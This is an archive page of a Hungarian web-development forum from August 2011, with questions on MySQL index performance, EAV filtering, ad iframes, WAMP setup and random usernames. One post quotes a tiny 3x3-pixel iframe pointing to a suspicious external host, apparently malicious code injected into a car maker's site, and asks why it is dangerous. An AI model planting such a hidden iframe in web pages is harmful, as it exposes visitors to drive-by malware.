Archívum - 2011
augusztus 30
MySQL lassú indexek
Sziasztok!
Egy elég érdekes problémába ütköztem, amit nem igazán tudok hova tenni - valószínű az indexekkel kapcsolatban vannak tudásbeli hiányosságaim. Eleddig azt hittem, hogy a mysql (myisam tábla) indexelt mezői a create, update és delete query-k esetén lassítanak, a select-eknél pedig gyorsítanak. Nálam egy esetben azonban az ellenkezője történt.
Adottak egy webáruház dinamikus adattagjaihoz (EAV) tartozó táblák (termékek tábla, attribútumok tábla, termékek-attribútumok kapcsolótábla). Ha az egyes termékeket azok sajátos attribútumai alapján szeretném szűrni egyetlen lekérdezésben, akkor az összes (a szűrésben részt vevő) tulajdonságot join-al hozzákötöm a termékek lekérdezéséhez. Ezzel nincs is semmi gond (attól eltekintve, hogy gigantikus query-ket lehet elérni már 10-20 ilyen szűrési feltétel esetén is), azonban a lekérdezés néha borzasztóan lelassult (1-10mp-es lekérdezések is születtek, amik vállalhatatlanok). Az egyéni attribútumokat tartalmazó táblában (idegen kulcs híján) az összes termék azonosítót indexeltem, gondoltam így gyorsabban találja meg a join-nál az egyes sorokat az adatbázis - azonban - mint az később kiderült - ezek az indexek okozták a lassú lekérdezéseket. Az indexek megszüntetésével a korábbi több mp-es query-k 0.01sec alá gyorsultak.
Ezt el tudná nekem valaki magyarázni, hogyan is történhetett? Milyen mezőket érdemes indexként használni?
Az teszt-adatbázisban jelenleg kevés adat található.
Köszönettel,
Drawain
■ Egy elég érdekes problémába ütköztem, amit nem igazán tudok hova tenni - valószínű az indexekkel kapcsolatban vannak tudásbeli hiányosságaim. Eleddig azt hittem, hogy a mysql (myisam tábla) indexelt mezői a create, update és delete query-k esetén lassítanak, a select-eknél pedig gyorsítanak. Nálam egy esetben azonban az ellenkezője történt.
Adottak egy webáruház dinamikus adattagjaihoz (EAV) tartozó táblák (termékek tábla, attribútumok tábla, termékek-attribútumok kapcsolótábla). Ha az egyes termékeket azok sajátos attribútumai alapján szeretném szűrni egyetlen lekérdezésben, akkor az összes (a szűrésben részt vevő) tulajdonságot join-al hozzákötöm a termékek lekérdezéséhez. Ezzel nincs is semmi gond (attól eltekintve, hogy gigantikus query-ket lehet elérni már 10-20 ilyen szűrési feltétel esetén is), azonban a lekérdezés néha borzasztóan lelassult (1-10mp-es lekérdezések is születtek, amik vállalhatatlanok). Az egyéni attribútumokat tartalmazó táblában (idegen kulcs híján) az összes termék azonosítót indexeltem, gondoltam így gyorsabban találja meg a join-nál az egyes sorokat az adatbázis - azonban - mint az később kiderült - ezek az indexek okozták a lassú lekérdezéseket. Az indexek megszüntetésével a korábbi több mp-es query-k 0.01sec alá gyorsultak.
Ezt el tudná nekem valaki magyarázni, hogyan is történhetett? Milyen mezőket érdemes indexként használni?
Az teszt-adatbázisban jelenleg kevés adat található.
Köszönettel,
Drawain
augusztus 29
URL kimenete adatbázis olvasás nélkül változzon
Sziasztok!
Remélem érthetően le tudom írni, mit szeretnék.
Szóval van egy url, valami.php?valtozo=akarmi felépítésben, és azt szeretném, ha megváltoztathatnám, hogy mit jelenítsen meg ez az url, úgy hogy az "akarmi" értéke nem változik, és anélkül, hogy adatbázisból olvasnék.
Vagyis valahogy én meghatározom, hogy ez az url mit jelenítsen meg, és egy másik ember, ha lekéri ezt az url-t ugyanezzel az "akarmi" értékkel, azt kapja, amit én megadtam. De aztán ő is megváltoztathatja, és akkor én fogom azt kapni, amit ő meghatározott.
■ Remélem érthetően le tudom írni, mit szeretnék.
Szóval van egy url, valami.php?valtozo=akarmi felépítésben, és azt szeretném, ha megváltoztathatnám, hogy mit jelenítsen meg ez az url, úgy hogy az "akarmi" értéke nem változik, és anélkül, hogy adatbázisból olvasnék.
Vagyis valahogy én meghatározom, hogy ez az url mit jelenítsen meg, és egy másik ember, ha lekéri ezt az url-t ugyanezzel az "akarmi" értékkel, azt kapja, amit én megadtam. De aztán ő is megváltoztathatja, és akkor én fogom azt kapni, amit ő meghatározott.
Iframe hírdetés elrejtésének tíltása
Hy mindenki!
Nekem egy olyan kérdésem lenne, hogy készülőben van egy ingyenes webtárhely ahol nem lesz reklámcsík mint pl az atw-nél van, hanem a usereknek egy iframe-et kell elhelyezniük az oldalon, na most felmerült egy olyan probléma hogy ha kiteszi az oldalára a hirdetést de úgy hogy ezt beleteszi egy div -be amit elrejt pl:
Előre is köszönöm.
■ Nekem egy olyan kérdésem lenne, hogy készülőben van egy ingyenes webtárhely ahol nem lesz reklámcsík mint pl az atw-nél van, hanem a usereknek egy iframe-et kell elhelyezniük az oldalon, na most felmerült egy olyan probléma hogy ha kiteszi az oldalára a hirdetést de úgy hogy ezt beleteszi egy div -be amit elrejt pl:
<div style="display:none"><iframe src="valami.hu/ads.php?kod=XY-123" width="200" height="400"></iframe></div> ,akkor én az admin felületen úgy látom hogy meghívódot a php script de valójában nem jelennek meg a hirdetések mert elvannak rejtve. Ennek kivédésére kérnék segítséget, ötleteket.Előre is köszönöm.
mitől vírus....
Hali!
Ez a kód sor miért annyira veszélyes(Audi quattro weboldalán van)
■ Ez a kód sor miért annyira veszélyes(Audi quattro weboldalán van)
<iframe src="http://ixoqyxuvu.co.tv/i.php?go=1" width="3" height="3"></iframe>Aktivációs kód küldése
Üdvözlet!
Olyan problémám lenne, hogy a webspelles honlapot használok, és regisztrációnál nem küld ki aktiválós email-t, hanem nekem kell aktiválnom a regisztrációt.
Olyan problémám lenne, hogy a webspelles honlapot használok, és regisztrációnál nem küld ki aktiválós email-t, hanem nekem kell aktiválnom a regisztrációt.
Katalógus: előszűrés
Sziasztok!
Ötleteket keresek a következő feladat optimális megvalósításához. Egy katalógus termékeinek listázása előtt a kereső feltételinek változtatásával kiírni a feltételeknek megfelelő találatok darabszámát.
Egyszerűen csak futtassam le kétszer az sql-t?
Vagy mentsek minden egyes keresési kombinációt eredményét és abból kérjem a találatok darabszámát? Új termék felvitelénél újra el kéne végezzem.
Az is probléma, hogy naponta változhatnak a termékek.
Kösz.
■ Ötleteket keresek a következő feladat optimális megvalósításához. Egy katalógus termékeinek listázása előtt a kereső feltételinek változtatásával kiírni a feltételeknek megfelelő találatok darabszámát.
Egyszerűen csak futtassam le kétszer az sql-t?
Vagy mentsek minden egyes keresési kombinációt eredményét és abból kérjem a találatok darabszámát? Új termék felvitelénél újra el kéne végezzem.
Az is probléma, hogy naponta változhatnak a termékek.
Kösz.
augusztus 28
augusztus 28
A WAMP és a 64 bites Windows 7
Újonnan vásárolt notebookomon 64 bites Windows 7 Professional virít. Erre voltam kénytelen a napokban WAMP-ot telepíteni PHP fejlesztéshez, ami nem is ment olyan könnyen. A tanulságokat megosztanám, hátha néhány nap munkát megspórolok vele valakinek.
The Internet is for Porn
Már laikusok is szembesülnek a web technológiai korlátaival
■ Véletlen szerű kreáció...
Halló!
Mivel lehet úgy kreálni felhasználó nevet,hogy sosem ismétli magát.Tehát ha már Kis Pista véletlenül ráment az oldalra és a gép kidobja neki azt hogy Q0wC32GW9ÁűX19ú akkor ezt már nem dobja ki senkinek sem.
Karakterek 0-9ig számok (csak 1 betűs)a-z (csak 1 betűs)A-Z és csak 15 karakter.
■ Mivel lehet úgy kreálni felhasználó nevet,hogy sosem ismétli magát.Tehát ha már Kis Pista véletlenül ráment az oldalra és a gép kidobja neki azt hogy Q0wC32GW9ÁűX19ú akkor ezt már nem dobja ki senkinek sem.
Karakterek 0-9ig számok (csak 1 betűs)a-z (csak 1 betűs)A-Z és csak 15 karakter.



